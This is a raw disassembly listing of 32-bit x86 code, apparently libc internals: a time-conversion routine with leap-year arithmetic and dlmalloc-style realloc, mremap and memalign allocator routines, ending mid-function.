var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 70h
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 0
		lea	edi, [ebp+var_2C]
		mov	esi, [ebp+arg_0]
		cld	
		mov	ecx, 0Bh
		repe movsd
		cmp	[ebp+var_2C], 3Dh
		jbe	short loc_0_805B654
		push	3Ch
		lea	eax, [ebp+var_2C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_0_805B584
		add	esp, 0Ch

loc_0_805B654:				; CODE XREF: sub_0_805B61C+24j
		push	3Ch
		lea	eax, [ebp+var_28]
		push	eax
		lea	ebx, [ebp+var_24]
		push	ebx
		call	sub_0_805B584
		push	18h
		push	ebx
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_0_805B584
		push	0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_0_805B584
		add	esp, 24h
		cmp	[ebp+var_20], 0
		jg	short loc_0_805B6FC
		nop	

loc_0_805B688:				; CODE XREF: sub_0_805B61C+DDj
		dec	[ebp+var_18]
		xor	ebx, ebx
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], 1
		jle	short loc_0_805B69B
		add	eax, 76Dh

loc_0_805B69B:				; CODE XREF: sub_0_805B61C+78j
		test	al, 3
		jnz	short loc_0_805B6C1
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], 1
		jle	short loc_0_805B6B0
		add	eax, 76Dh
		jmp	short loc_0_805B6B5
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805B6B0:				; CODE XREF: sub_0_805B61C+8Aj
		add	eax, 76Ch

loc_0_805B6B5:				; CODE XREF: sub_0_805B61C+91j
		mov	ecx, 64h
		cdq	
		idiv	ecx
		test	edx, edx
		jnz	short loc_0_805B6E5

loc_0_805B6C1:				; CODE XREF: sub_0_805B61C+81j
		mov	eax, [ebp+var_18]
		cmp	[ebp+var_1C], 1
		jle	short loc_0_805B6D4
		add	eax, 76Dh
		jmp	short loc_0_805B6D9
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805B6D4:				; CODE XREF: sub_0_805B61C+ACj
		add	eax, 76Ch

loc_0_805B6D9:				; CODE XREF: sub_0_805B61C+B3j
		mov	ecx, 190h
		cdq	
		idiv	ecx
		test	edx, edx
		jnz	short loc_0_805B6EA

loc_0_805B6E5:				; CODE XREF: sub_0_805B61C+A3j
		mov	ebx, 1

loc_0_805B6EA:				; CODE XREF: sub_0_805B61C+C7j
		mov	eax, [ebp+var_20]
		add	eax, ds:dword_0_8068F28[ebx*4]
		mov	[ebp+var_20], eax
		test	eax, eax
		jle	short loc_0_805B688
		nop	

loc_0_805B6FC:				; CODE XREF: sub_0_805B61C+69j
					; sub_0_805B61C+13Fj ...
		xor	ebx, ebx
		mov	eax, [ebp+var_18]
		add	eax, 76Ch
		test	al, 3
		jnz	short loc_0_805B716
		mov	ecx, 64h
		cdq	
		idiv	ecx
		test	edx, edx
		jnz	short loc_0_805B72A

loc_0_805B716:				; CODE XREF: sub_0_805B61C+ECj
		mov	eax, [ebp+var_18]
		add	eax, 76Ch
		mov	ecx, 190h
		cdq	
		idiv	ecx
		test	edx, edx
		jnz	short loc_0_805B72F

loc_0_805B72A:				; CODE XREF: sub_0_805B61C+F8j
		mov	ebx, 1

loc_0_805B72F:				; CODE XREF: sub_0_805B61C+10Cj
		mov	eax, ebx
		add	eax, ebx
		add	eax, ebx
		shl	eax, 4
		mov	ecx, [ebp+var_1C]
		lea	edx, ds:0[ecx*4]
		mov	eax, dword ptr ds:unk_0_8068EC8[eax+edx]
		mov	[ebp+var_64], eax
		cmp	[ebp+var_20], eax
		jle	short loc_0_805B76C
		sub	[ebp+var_20], eax
		inc	[ebp+var_1C]
		cmp	[ebp+var_1C], 0Bh
		jle	short loc_0_805B6FC
		mov	[ebp+var_1C], 0
		inc	[ebp+var_18]
		jmp	short loc_0_805B6FC
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805B76C:				; CODE XREF: sub_0_805B61C+133j
		mov	ecx, [ebp+var_2C]
		mov	[ebp+var_68], ecx
		mov	[ebp+var_2C], 0
		xor	ebx, ebx
		mov	[ebp+var_5C], 1
		lea	esi, [esi]

loc_0_805B784:				; CODE XREF: sub_0_805B61C+175j
		inc	ebx
		mov	ecx, [ebp+var_5C]
		mov	eax, ecx
		add	eax, ecx
		mov	[ebp+var_5C], eax
		test	eax, eax
		jg	short loc_0_805B784
		xor	edx, edx
		test	eax, eax
		jl	short loc_0_805B7A2
		mov	edx, 1
		mov	ecx, ebx
		shl	edx, cl

loc_0_805B7A2:				; CODE XREF: sub_0_805B61C+17Bj
		mov	[ebp+var_5C], edx
		lea	ecx, [ebp+var_58]
		mov	[ebp+var_6C], ecx
		nop	

loc_0_805B7AC:				; CODE XREF: sub_0_805B61C+1C9j
					; sub_0_805B61C+1DCj ...
		mov	ecx, [ebp+var_6C]
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	eax, [ebp+var_5C]
		push	eax
		mov	ecx, [ebp+arg_4]
		call	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_6C]
		push	ecx
		call	sub_0_805B5E0
		mov	edx, eax
		add	esp, 14h
		test	edx, edx
		jz	short loc_0_805B80C
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jl	loc_0_805B8DC
		test	ebx, ebx
		jge	short loc_0_805B7E8
		dec	[ebp+var_5C]
		jmp	short loc_0_805B7AC
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805B7E8:				; CODE XREF: sub_0_805B61C+1C4j
		test	edx, edx
		jle	short loc_0_805B7FC
		mov	eax, 1
		mov	ecx, ebx
		shl	eax, cl
		sub	[ebp+var_5C], eax
		jmp	short loc_0_805B7AC
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805B7FC:				; CODE XREF: sub_0_805B61C+1CEj
		mov	eax, 1
		mov	ecx, ebx
		shl	eax, cl
		add	[ebp+var_5C], eax
		jmp	short loc_0_805B7AC
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805B80C:				; CODE XREF: sub_0_805B61C+1B5j
		cmp	[ebp+var_C], 0
		jl	loc_0_805B8E4
		mov	eax, [ebp+var_38]
		cmp	[ebp+var_C], eax
		jz	loc_0_805B8E4
		mov	ebx, offset unk_0_807C9F0
		cmp	[ebp+arg_4], offset sub_0_805B048
		jnz	short loc_0_805B835
		mov	ebx, offset dword_0_807B0E0

loc_0_805B835:				; CODE XREF: sub_0_805B61C+212j
		mov	[ebp+var_64], 0
		mov	ecx, [ebp+var_64]
		cmp	[ebx+8], ecx
		jle	loc_0_805B8DC
		mov	[ebp+var_70], 0
		nop	

loc_0_805B850:				; CODE XREF: sub_0_805B61C+2BAj
		mov	ecx, [ebp+var_70]
		mov	eax, [ecx+ebx+750h]
		cmp	[ebp+var_C], eax
		jnz	short loc_0_805B8C9
		xor	edi, edi
		cmp	[ebx+8], edi
		jle	short loc_0_805B8C9
		xor	esi, esi

loc_0_805B868:				; CODE XREF: sub_0_805B61C+2ABj
		mov	eax, [esi+ebx+750h]
		cmp	[ebp+var_C], eax
		jz	short loc_0_805B8C0
		mov	eax, [ebp+var_5C]
		add	eax, [esi+ebx+74Ch]
		mov	ecx, [ebp+var_70]
		sub	eax, [ecx+ebx+74Ch]
		mov	[ebp+var_60], eax
		mov	ecx, [ebp+var_6C]
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	eax, [ebp+var_60]
		push	eax
		mov	ecx, [ebp+arg_4]
		call	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+var_6C]
		push	ecx
		call	sub_0_805B5E0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_0_805B8C0
		mov	eax, [ebp+var_38]
		cmp	[ebp+var_C], eax
		jnz	short loc_0_805B8C0
		mov	eax, [ebp+var_60]
		mov	[ebp+var_5C], eax
		jmp	short loc_0_805B8E4
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805B8C0:				; CODE XREF: sub_0_805B61C+256j
					; sub_0_805B61C+292j ...
		add	esi, 10h
		inc	edi
		cmp	[ebx+8], edi
		jg	short loc_0_805B868

loc_0_805B8C9:				; CODE XREF: sub_0_805B61C+241j
					; sub_0_805B61C+248j
		add	[ebp+var_70], 10h
		inc	[ebp+var_64]
		mov	ecx, [ebp+var_64]
		cmp	[ebx+8], ecx
		jg	loc_0_805B850

loc_0_805B8DC:				; CODE XREF: sub_0_805B61C+1BCj
					; sub_0_805B61C+226j
		mov	eax, 0FFFFFFFFh
		jmp	short loc_0_805B907
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805B8E4:				; CODE XREF: sub_0_805B61C+1F4j
					; sub_0_805B61C+200j ...
		mov	ecx, [ebp+var_68]
		add	[ebp+var_5C], ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ecx
		lea	eax, [ebp+var_5C]
		push	eax
		mov	ecx, [ebp+arg_4]
		call	ecx
		mov	ecx, [ebp+arg_C]
		mov	dword ptr [ecx], 1
		mov	eax, [ebp+var_5C]

loc_0_805B907:				; CODE XREF: sub_0_805B61C+2C5j
		lea	esp, [ebp+var_7C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B61C	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805B914	proc near		; CODE XREF: .text:0805BA5Ep
					; .text:0805BA7Dp

var_20		= byte ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		cmp	dword ptr [edi+20h], 1
		jle	short loc_0_805B92D
		mov	dword ptr [edi+20h], 1

loc_0_805B92D:				; CODE XREF: sub_0_805B914+10j
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	edi
		call	sub_0_805B61C
		add	esp, 10h
		cmp	[ebp+var_4], 0
		jnz	loc_0_805BA45
		cmp	dword ptr [edi+20h], 0
		jl	loc_0_805BA45
		mov	ebx, offset unk_0_807C9F0
		cmp	[ebp+arg_4], offset sub_0_805B048
		jnz	short loc_0_805B969
		mov	ebx, offset dword_0_807B0E0

loc_0_805B969:				; CODE XREF: sub_0_805B914+4Ej
		mov	[ebp+var_8], 0
		mov	edx, [ebp+var_8]
		cmp	[ebx+8], edx
		jle	loc_0_805BA40
		mov	[ebp+var_14], 0
		nop	

loc_0_805B984:				; CODE XREF: sub_0_805B914+126j
		mov	edx, [ebp+var_14]
		mov	eax, [edx+ebx+750h]
		cmp	[edi+20h], eax
		jnz	loc_0_805BA2D
		mov	[ebp+var_C], 0
		mov	edx, [ebp+var_C]
		cmp	[ebx+8], edx
		jle	loc_0_805BA2D
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx
		xor	esi, esi
		lea	esi, [esi]

loc_0_805B9B4:				; CODE XREF: sub_0_805B914+117j
		mov	eax, [esi+ebx+750h]
		cmp	[edi+20h], eax
		jz	short loc_0_805BA1F
		mov	eax, [esi+ebx+74Ch]
		mov	edx, [ebp+var_10]
		sub	eax, [edx+ebx+74Ch]
		add	[edi], eax
		cmp	dword ptr [edi+20h], 0
		setz	al
		and	eax, 0FFh
		mov	[edi+20h], eax
		lea	eax, [ebp+var_4]
		push	eax
		mov	edx, [ebp+arg_8]
		push	edx
		mov	edx, [ebp+arg_4]
		push	edx
		push	edi
		call	sub_0_805B61C
		add	esp, 10h
		cmp	[ebp+var_4], 0
		jnz	short loc_0_805BA45
		mov	eax, [esi+ebx+74Ch]
		mov	edx, [ebp+var_10]
		sub	eax, [edx+ebx+74Ch]
		sub	[edi], eax
		cmp	dword ptr [edi+20h], 0
		setz	al
		and	eax, 0FFh
		mov	[edi+20h], eax

loc_0_805BA1F:				; CODE XREF: sub_0_805B914+AAj
		add	esi, 10h
		inc	[ebp+var_C]
		mov	edx, [ebp+var_C]
		cmp	[ebx+8], edx
		jg	short loc_0_805B9B4

loc_0_805BA2D:				; CODE XREF: sub_0_805B914+7Dj
					; sub_0_805B914+90j
		add	[ebp+var_14], 10h
		inc	[ebp+var_8]
		mov	edx, [ebp+var_8]
		cmp	[ebx+8], edx
		jg	loc_0_805B984

loc_0_805BA40:				; CODE XREF: sub_0_805B914+62j
		mov	eax, 0FFFFFFFFh

loc_0_805BA45:				; CODE XREF: sub_0_805B914+32j
					; sub_0_805B914+3Cj ...
		lea	esp, [ebp+var_20]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805B914	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	0
		push	offset sub_0_805B048
		push	eax
		call	sub_0_805B914
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		mov	dword ptr [eax+20h], 0
		push	0
		push	offset sub_0_805B144
		push	eax
		call	sub_0_805B914
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ


; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805BB64	proc near		; CODE XREF: .text:0805C558p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	edx, [ebp+arg_0]
		mov	esi, [edx-4]
		mov	edi, [edx]
		and	edi, 0FFFFFFFCh
		mov	ebx, [ebp+arg_4]
		add	ebx, esi
		add	ebx, 0FFFh
		and	ebx, 0FFFFF000h
		call	mremap(edx-esi,esi+edi,ebx,MREMAP_MAYMOVE)
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_0_805BBA0
		xor	eax, eax
		jmp	short loc_0_805BBE8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805BBA0:				; CODE XREF: sub_0_805BB64+36j
		lea	edx, [esi+eax]
		mov	eax, ebx
		sub	eax, esi
		or	al, 2
		mov	[edx], eax
		lea	eax, [esi+edi]
		sub	dword_0_8078F88, eax
		mov	eax, ebx
		add	eax, dword_0_8078F88
		mov	dword_0_8078F88, eax
		cmp	dword_0_8078F8C, eax
		jnb	short loc_0_805BBCE
		mov	dword_0_8078F8C, eax

loc_0_805BBCE:				; CODE XREF: sub_0_805BB64+63j
		mov	eax, dword_0_8078F88
		add	eax, dword_0_8078F58
		cmp	dword_0_8078F54, eax
		jnb	short loc_0_805BBE6
		mov	dword_0_8078F54, eax

loc_0_805BBE6:				; CODE XREF: sub_0_805BB64+7Bj
		mov	eax, edx

loc_0_805BBE8:				; CODE XREF: sub_0_805BB64+3Aj
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_805BB64	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	edi
		push	esi
		push	ebx
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_0_805C518
		call	malloc(ebp+0Ch)
		jmp	loc_0_805C7D0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C518:				; CODE XREF: .text:0805C505j
		mov	esi, [ebp+8]
		add	esi, 0FFFFFFFCh
		mov	[ebp-8], esi
		mov	edi, [ebp+8]
		mov	edi, [edi-4]
		and	edi, 0FFFFFFFCh
		mov	[ebp-10h], edi
		mov	[ebp-0Ch], edi
		cmp	dword ptr [ebp+0Ch], 0Bh
		jle	short loc_0_805C544
		mov	edx, [ebp+0Ch]
		add	edx, 0Bh
		and	dl, 0F8h
		mov	[ebp-4], edx
		jmp	short loc_0_805C54B
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805C544:				; CODE XREF: .text:0805C534j
		mov	dword ptr [ebp-4], 10h

loc_0_805C54B:				; CODE XREF: .text:0805C542j
		mov	edi, [ebp-8]
		test	byte ptr [edi],	2
		jz	short loc_0_805C5B8
		mov	edx, [ebp-4]
		push	edx
		push	edi
		call	sub_0_805BB64
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	loc_0_805C7CD
		mov	edi, [ebp-4]
		cmp	[ebp-0Ch], edi
		jb	short loc_0_805C57C
		mov	eax, [ebp+8]
		jmp	loc_0_805C7D0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C57C:				; CODE XREF: .text:0805C570j
		mov	edx, [ebp+0Ch]
		call	malloc(edx)
		mov	ebx, eax
		test	ebx, ebx
		jz	loc_0_805C746
		call	memcpy(ebx,[ebp+8],[ebp-0Ch]-4)
		mov	edx, [ebp-8]
		push	edx
		call	sub_0_805BB34
		mov	eax, ebx
		jmp	loc_0_805C7D0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C5B8:				; CODE XREF: .text:0805C551j
		mov	edi, [ebp-4]
		cmp	[ebp-0Ch], edi
		jge	loc_0_805C78A
		mov	ecx, [ebp-8]
		add	ecx, [ebp-0Ch]
		cmp	dword_0_8078B38, ecx
		jz	short loc_0_805C5DC
		mov	eax, [ecx]
		and	al, 0FEh
		test	byte ptr [eax+ecx], 1
		jnz	short loc_0_805C64C

loc_0_805C5DC:				; CODE XREF: .text:0805C5D0j
		mov	ebx, [ecx]
		and	bl, 0FCh
		cmp	dword_0_8078B38, ecx
		jnz	short loc_0_805C628
		mov	esi, [ebp-10h]
		add	esi, ebx
		mov	eax, [ebp-4]
		add	eax, 10h
		cmp	esi, eax
		jl	short loc_0_805C650
		mov	eax, [ebp-8]
		add	eax, [ebp-4]
		mov	dword_0_8078B38, eax
		sub	esi, [ebp-4]
		mov	edx, esi
		or	dl, 1
		mov	[eax], edx
		mov	edi, [ebp-8]
		mov	eax, [edi]
		and	eax, 1
		or	eax, [ebp-4]
		mov	[edi], eax
		mov	eax, [ebp-8]
		add	eax, 4
		jmp	loc_0_805C7D0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C628:				; CODE XREF: .text:0805C5E7j
		mov	edx, [ebp-10h]
		add	edx, ebx
		mov	[ebp-14h], edx
		mov	edi, [ebp-4]
		cmp	edx, edi
		jl	short loc_0_805C650
		mov	eax, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[ecx+8], eax
		mov	[eax+4], ecx
		mov	[ebp-10h], edx
		jmp	loc_0_805C78A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C64C:				; CODE XREF: .text:0805C5DAj
		xor	ecx, ecx
		xor	ebx, ebx

loc_0_805C650:				; CODE XREF: .text:0805C5F6j
					; .text:0805C635j
		mov	edx, [ebp-8]
		test	byte ptr [edx],	1
		jnz	loc_0_805C734
		sub	edx, [edx-4]
		mov	[ebp-14h], edx
		mov	esi, [edx]
		and	esi, 0FFFFFFFCh
		test	ecx, ecx
		jz	loc_0_805C6F4
		cmp	dword_0_8078B38, ecx
		jnz	short loc_0_805C6D8
		lea	eax, [esi+ebx]
		mov	ebx, [ebp-10h]
		add	ebx, eax
		mov	eax, [ebp-4]
		add	eax, 10h
		cmp	ebx, eax
		jl	short loc_0_805C6F4
		mov	eax, [edx+8]
		mov	ecx, [edx+4]
		mov	[ecx+8], eax
		mov	[eax+4], ecx
		mov	esi, [ebp-14h]
		mov	[ebp-10h], ebx
		lea	ebx, [esi+4]
		call	memcpy(ebx,[ebp+8],[ebp-0Ch]-4)
		mov	edx, [ebp-4]
		add	edx, esi
		mov	dword_0_8078B38, edx
		mov	eax, [ebp-10h]
		sub	eax, [ebp-4]
		or	al, 1
		mov	[edx], eax
		mov	eax, [esi]
		and	eax, 1
		or	eax, [ebp-4]
		mov	[esi], eax
		mov	eax, ebx
		jmp	loc_0_805C7D0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C6D8:				; CODE XREF: .text:0805C675j
		lea	eax, [esi+ebx]
		mov	ebx, [ebp-10h]
		add	ebx, eax
		cmp	[ebp-4], ebx
		jg	short loc_0_805C6F4
		mov	eax, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[ecx+8], eax
		mov	[eax+4], ecx
		jmp	short loc_0_805C704
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C6F4:				; CODE XREF: .text:0805C669j
					; .text:0805C687j ...
		cmp	dword ptr [ebp-14h], 0
		jz	short loc_0_805C734
		mov	ebx, [ebp-10h]
		add	ebx, esi
		cmp	[ebp-4], ebx
		jg	short loc_0_805C734

loc_0_805C704:				; CODE XREF: .text:0805C6F1j
		mov	edi, [ebp-14h]
		mov	eax, [edi+8]
		mov	ecx, [edi+4]
		mov	[ecx+8], eax
		mov	[eax+4], ecx
		mov	esi, [ebp-14h]
		mov	[ebp-10h], ebx
		lea	ebx, [esi+4]
		call	memcpy(ebx,[ebp+8],[ebp-0Ch]-4)
		jmp	short loc_0_805C78A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C734:				; CODE XREF: .text:0805C656j
					; .text:0805C6F8j ...
		call	malloc(ebp+0Ch)
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_0_805C750

loc_0_805C746:				; CODE XREF: .text:0805C58Cj
		xor	eax, eax
		jmp	loc_0_805C7D0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C750:				; CODE XREF: .text:0805C744j
		lea	esi, [ebx-4]
		mov	edx, [ebp-8]
		mov	eax, [edx]
		and	al, 0FEh
		add	eax, edx
		cmp	esi, eax
		jz	short loc_0_805C780
		mov	edi, [ebp+8]
		call	memcpy(ebx,edi,[ebp-0Ch]-4)
		call	free(edi)
		mov	eax, ebx
		jmp	short loc_0_805C7D0
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C780:				; CODE XREF: .text:0805C75Ej
		mov	eax, [esi]
		and	al, 0FCh
		add	[ebp-10h], eax
		mov	esi, [ebp-8]

loc_0_805C78A:				; CODE XREF: .text:0805C5BEj
					; .text:0805C646j ...
		mov	ecx, [ebp-10h]
		sub	ecx, [ebp-4]
		cmp	ecx, 0Fh
		jbe	short loc_0_805C7BC
		mov	eax, [ebp-4]
		add	eax, esi
		mov	edx, [esi]
		and	edx, 1
		or	edx, [ebp-4]
		mov	[esi], edx
		mov	edi, ecx
		or	edi, 1
		mov	[eax], edi
		or	byte ptr [ecx+eax], 1
		call	free(eax+4)
		jmp	short loc_0_805C7CD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C7BC:				; CODE XREF: .text:0805C793j
		mov	eax, [esi]
		and	eax, 1
		or	eax, [ebp-10h]
		mov	[esi], eax
		mov	edx, [ebp-10h]
		or	byte ptr [edx+esi], 1

loc_0_805C7CD:				; CODE XREF: .text:0805C564j
					; .text:0805C7B8j
		lea	eax, [esi+4]

loc_0_805C7D0:				; CODE XREF: .text:0805C510j
					; .text:0805C575j ...
		lea	esp, [ebp-20h]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_805C7DC	proc near		; CODE XREF: .text:0805C8F8p

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		cmp	ebx, 8
		ja	short loc_0_805C7FC
		call	malloc(edx)
		jmp	loc_0_805C8E1
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C7FC:				; CODE XREF: sub_0_805C7DC+12j
		cmp	ebx, 0Fh
		ja	short loc_0_805C806
		mov	ebx, 10h

loc_0_805C806:				; CODE XREF: sub_0_805C7DC+23j
		cmp	edx, 0Bh
		jle	short loc_0_805C814
		lea	edi, [edx+0Bh]
		and	edi, 0FFFFFFF8h
		jmp	short loc_0_805C819
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C814:				; CODE XREF: sub_0_805C7DC+2Dj
		mov	edi, 10h

loc_0_805C819:				; CODE XREF: sub_0_805C7DC+35j
		call	malloc([ebx+edi+10h])
		mov	[ebp+var_4], eax
		test	eax, eax
		jnz	short loc_0_805C834
		xor	eax, eax
		jmp	loc_0_805C8E1
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_805C834:				; CODE XREF: sub_0_805C7DC+4Fj
		mov	esi, [ebp+var_4]
		add	esi, 0FFFFFFFCh
		mov	eax, [ebp+var_4]
		xor	edx, edx
		div	ebx
		test	edx, edx
		jnz	short loc_0_805C858
		mov	eax, [ebp+var_4]
		test	byte ptr [eax-4], 2
		jz	short loc_0_805C8B8
		mov	eax, [ebp+var_4]
		jmp	loc_0_805C8E1
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_805C858:				; CODE XREF: sub_0_805C7DC+67j
		mov	eax, [ebp+var_4]
		lea	edx, [ebx+eax-1]
		mov	eax, ebx
		neg	eax
		and	edx, eax
